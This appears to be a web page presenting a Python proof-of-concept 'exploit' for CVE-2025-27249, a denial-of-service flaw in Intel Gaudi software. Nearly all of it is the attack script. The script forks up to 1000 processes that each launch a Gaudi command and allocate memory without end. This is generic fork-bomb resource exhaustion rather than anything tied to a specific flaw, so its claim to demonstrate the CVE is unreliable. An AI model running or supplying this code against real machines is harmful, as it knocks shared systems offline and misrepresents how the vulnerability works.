CVE-2025-27249: Intel Gaudi软件未控制资源消耗导致拒绝服务漏洞

# CVE-2025-27249 PoC - Intel Gaudi Uncontrolled Resource Consumption # This PoC demonstrates resource exhaustion in Intel Gaudi software # Target: Intel Gaudi software < 1.21.0 # Attack Vector: Local access with authenticated user import os import sys import time import subprocess def check_gaudi_software_version(): """Check if vulnerable Gaudi software version is installed""" try: # Check Gaudi software version version_output = subprocess.check_output( ['haflow', '--version'], stderr=subprocess.STDOUT ).decode('utf-8') print(f"[+] Detected Gaudi software version: {version_output}") return True except Exception as e: print(f"[-] Error checking version: {e}") return False def trigger_resource_exhaustion(): """ Trigger uncontrolled resource consumption This PoC attempts to exhaust system resources through Gaudi API """ print("[*] Attempting to trigger resource exhaustion...") # Attempt to create excessive memory allocations # through repeated Gaudi operations process_count = 0 max_processes = 1000 while process_count < max_processes: try: # Fork new process that allocates Gaudi resources pid = os.fork() if pid == 0: # Child process - allocate Gaudi resources subprocess.Popen( ['haxc', 'run', '--memory-intensive'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) # Trigger memory allocation without cleanup while True: _ = bytearray(1024 * 1024 * 100) # Allocate 100MB else: process_count += 1 if process_count % 100 == 0: print(f"[*] Created {process_count} resource-intensive processes") time.sleep(0.1) except OSError as e: print(f"[!] Resource limit reached: {e}") break print(f"[!] System resource exhaustion triggered") print(f"[!] Created {process_count} processes before failure") return process_count def main(): print("=" * 60) print("CVE-2025-27249 PoC - Intel Gaudi Uncontrolled Resource Consumption") print("=" * 60) # Verify target system if not check_gaudi_software_version(): print("[-] Intel Gaudi software not detected") return # Check if running with low privileges print(f"[*] Current user: {os.getenv('USER', 'unknown')}") print(f"[*] Current UID: {os.getuid()}") # Trigger vulnerability print("[*] Starting resource exhaustion attack...") result = trigger_resource_exhaustion() if result > 0: print("[!] PoC executed successfully") print("[!] System may be experiencing DoS condition") else: print("[-] PoC failed to trigger vulnerability") if __name__ == "__main__": main()